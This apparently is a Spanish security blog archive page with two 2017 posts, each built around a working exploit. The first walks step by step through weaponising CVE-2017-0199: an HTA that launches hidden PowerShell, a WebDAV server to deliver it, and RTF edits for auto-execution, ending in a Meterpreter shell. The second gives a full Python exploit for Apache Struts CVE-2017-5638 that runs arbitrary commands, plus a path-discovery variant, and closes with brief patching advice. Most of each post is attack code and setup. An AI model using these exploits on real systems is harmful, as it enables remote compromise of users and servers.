Showing posts with label rce. Show all posts
Showing posts with label rce. Show all posts

Sunday, September 24, 2017

Explotación práctica de CVE 2017 0199 Windows RTF RCE

Explotación práctica de CVE 2017 0199 Windows RTF RCE


Red teams, juakers y dem�s fauna est�n enviando masivamente documentos maliciosos que explotan la vulnerabilidad CVE-2017-0199 y luego usan MS17-010 para pivotar a trav�s de dominios internos, literalmente est�n lloviendo shells�

Si record�is, la vulnerabilidad etiquetada como CVE-2017-0199 naci� como un 0-day que explotaba las �ltimas versiones de Microsoft Office, concretamente un RTF que se vio inicialmente en un manual militar en ruso con objetivos en la Rep�blica de Donestk y que compromet�a el PC de la v�ctima con s�lo abrirlo (permit�a RCE). Luego se us� tambi�n para instalar malware como Latentbot y en campa�as del troyano bancario Dridex, aunque hasta ahora no hab�a mucho detalle del exploit.

Y digo hasta ahora porque en varios sitios est�n reportando verdaderos tutoriales para montar y llevar a cabo ataques explotando esta vulnerabilidad que, como dec�a al principio, se encadenan con MS17-010 y otros para conseguir verdaderas intrusiones �hasta la cocina�.

Uno de los m�s "did�cticos" es el de David Routin (@Rewt_1) que plantea un escenario en el que hay que:

- Modificar el c�digo fuente del RTF con el payload
- Evitar el error generado al crear un enlace directo al documento HTA
- Activar autom�ticamente el objeto OLE

Ech�mosle un vistazo a c�mo llevarlo a cabo paso a paso:

Paso 1

Prepara un archivo HTA: (el archivo HTA es una aplicaci�n HTML que puede ejecutar JScript y VBscript)
Vamos a llamarlo "ms.hta"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
<html >

  <head>

    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
    <title>Bonjour
    </title>

    <script language="VBScript">
      Set owFrClN0giJ = CreateObject("Wscript.Shell")
      Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject")
      If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..powershell.exe") Then

      owFrClN0giJ.Run "powershell.exe -nop -w hidden -e ENCODED_B64_SHELL"
      End If

    </script>
    <hta:application

                     id="oHTA"
                     applicationname="Bonjour"
                     application="yes"
                     >

    </hta:application>
  </head>
  <div>

    <object type="text/html" data="hxxp://windows.microsoft.com/en-IN/windows7/products/features/windows-defender" width="100%" height="100%">

    </object>
  </div>  
  <body>
  </body>
</html>

Paso 2

Crea un sencillo documento RTF utilizando Winword con cualquier contenido. (En el ejemplo la frase �This is my official and legit content�)

Ll�malo "ms.rtf"

Paso 3

Sube los 2 archivos a un servidor web en el que tengas control total.
Normalmente en /var/www/html

Ahora tenemos que configurar Apache para poder incluir el ms.rtf como un enlace
 a2enmod dav  
 a2enmod dav_fs
 a2enmod dav_lock
 a2enmod headers
 service apache2 restart

Luego las siguientes directivas:

- A�adir "Content-Type application/rtf a todos los archivos en /ms
- Permitir la petici�n PROPFIND realizada por Microsoft Office

Modifica virtualhost e incluye:
 <Directory /var/www/html/ms/> 
 Header set Content-Type "application/rtf"
 </Directory>
 <Directory />
 Dav on
 </Directory>

service apache2 restart

Paso 4

Crea un simple documento RTF con Winword "exploit.rtf" �Ese ser� el exploit!

Insertar -> Objeto


Despu�s de hacer clic en Aceptar, ver�s el contenido del archivo "ms.rtf" con el texto,

Guarda el archivo como "exploit.rtf"



En este paso podemos cerrar Winword y pasar a la siguiente fase para cambiar el contenido de ms.rtf con el payload de HTA ...

Paso 5

El siguiente paso ser�:
- cambiar el ms.rtf que hemos incluido con el payload personalizado de HTA
- El servidor web enviar� un tipo de contenido "application/hta" ... esto ser� interpretado por el cliente Winword que ejecutar� mshta para manejar este tipo de contenido y ejecutar el payload

 cat /var/www/html/ms/ms.hta > /var/www/html/ms.rtf  

 vi /etc/apache2/sites-enables/000-default

 Cambia -> application/rtf a application/hta

 como:

 <Directory /var/www/html/ms/>
 Header set Content-Type "application/hta"
 </Directory>

 service apache2 restart

Paso 6

En este paso, si el usuario abre el archivo "exploit.rtf", tendr� que hacer doble clic en el objeto del enlace para lanzar el ataque ...

Si queremos que el objeto OLE se cargue autom�ticamente en la apertura del documento tenemos que editar el archivo exploit.rtf y cambiar:

objectobjautlink sltpictobjw9073objh509(*
a
objectobjautlinkobjupdate sltpict��������..

En este paso se construye el exploit.

Explotaci�n:

Una vez que el usuario abre el documento el objeto OLE se actualiza a trav�s del enlace y mshta se ejecuta gracias al tipo de contenido application / hta entregado por el servidor
Resultado: se ejecuta el c�digo!

Ya tenemos Meterpreter


No nos importa la advertencia ya que el c�digo ya se ha ejecutado ...


Referencias:
- http://securityaffairs.co/wordpress/58077/breaking-news/cve-2017-0199-exploitation-poc.html
- https://github.com/bhdresh/CVE-2017-0199
- https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html
- https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/
- https://blog.nviso.be/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/


download file now

Read more »

Friday, September 1, 2017

Exploit RCE para Apache Struts CVE 2017 5638 o cómo miles de servidores en Internet están en peligro

Exploit RCE para Apache Struts CVE 2017 5638 o cómo miles de servidores en Internet están en peligro


Ayer de madrugada unos de los feeds chinos que seguimos habitualmente hizo saltar por los aires nuestra actividad llevando casi toda nuestra atenci�n a un PoC/exploit para la vulnerabilidad CVE-2017-5638 que permite RCE (ejecuci�n remota de comandos) en las �ltimas versiones de Apache Struts. 

El script que os mostramos a continuaci�n, liberado por Nike Zheng (c�lebre y habitual hostigador de Struts), primero en p�ginas como Freebuf o Bobao, se aprovecha de un fallo en la funci�n de upload del parser de Jakarta y muestra c�mo modificar la cabecera Content-Header para inyectar comandos de sistema operativo cuando se llama a un action:
#!/usr/bin/python
# -*- coding: utf-8 -*-
 
import urllib2
import requests
import httplib

from requests.packages.urllib3.exceptions import InsecureRequestWarning
 
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

#uso: python script.py <url> "<command>"
 
def exploit(url, cmd):
    payload = "Content-Type:%{(#_=multipart/form-data)."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context[com.opensymphony.xwork2.ActionContext.container])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd=%s)." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty(os.name).toLowerCase().contains(win)))."
    payload += "(#cmds=(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"
 
    try:

        headers = {User-Agent: Mozilla/5.0, Content-Type: payload}
        #request = urllib2.Request(url, headers=headers)
        request = requests.get(url, headers=headers,verify=False)
        #page = urllib2.urlopen(request).read()

    except httplib.IncompleteRead, e:

        request = e.partial

    print(request.text)

    return request

if __name__ == __main__:

    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")

    else:

        print([*] CVE: 2017-5638 - Apache Struts2 S2-045)
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s " % cmd)

        exploit(url, cmd)

Si lo ejecut�is contra una aplicaci�n vulnerable el resultado ser� la ejecuci�n remota de comandos con el usuario que ejecuta el servidor. As� de sencillo:


Cualquier b�squeda en Google con un dork filetype:action arroja unos 35 millones de resultados, de los cuales un alto porcentaje es vulnerable... el volumen y la criticidad de los servicios afectados es simplemente ... dram�tico.
 
Hemos dedicado horas a reportar a empresas, gobiernos, fabricantes e incluso particulares para que parchearan y corrigieran lo antes posible la vulnerabilidad, pero el exploit ya ha saltado a las grandes p�ginas de advisories y ya se han observado intentos de explotaci�n masivos en Internet, incluso bastante sofisticados con el objetivo de conseguir persistencia o modificaciones como las que nos trae nuestro compi Sebastian Cornejo (curiositysec) que permite obtener el path de la aplicaci�n, paso previo a la subida de una shell al servidor:
def getpath(url):

payload = "Content-Type:%{(#_=multipart/form-data)."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context[com.opensymphony.xwork2.ActionContext.container])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#path=(@org.apache.struts2.ServletActionContext@getServletContext().getRealPath("/")))."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.CopyUtils@copy(#path,#ros))."
payload += "(#ros.flush())}"

try:

headers = {User-Agent: Mozilla/5.0, Content-Type: payload}
#request = urllib2.Request(url, headers=headers)
request = requests.get(url, headers=headers,verify=False)
#page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
request = e.partial
 
print("Path App: "+ request.text)

Como veis la criticidad es m�xima y la noticia corre como la p�lvora y URGE TOMAR CONTRAMEDIDAS LO ANTES POSIBLE:

- actualizar a Apache Struts (2.3.32 / 2.5.10.1 o posteriores) 
- actualizar firmas del IDS/IPS. Por ej. Snort ya incluye reglas en server-apache.rules: SERVER-APACHE Apache Struts remote code execution attempt (SIDs: 41818, 41819)

Fuentes:
- http://www.freebuf.com/vuls/128668.html
- http://bobao.360.cn/learning/detail/3571.html
- http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html#more
- https://packetstormsecurity.com/files/141494/S2-45-poc.py.txt


download file now

Read more »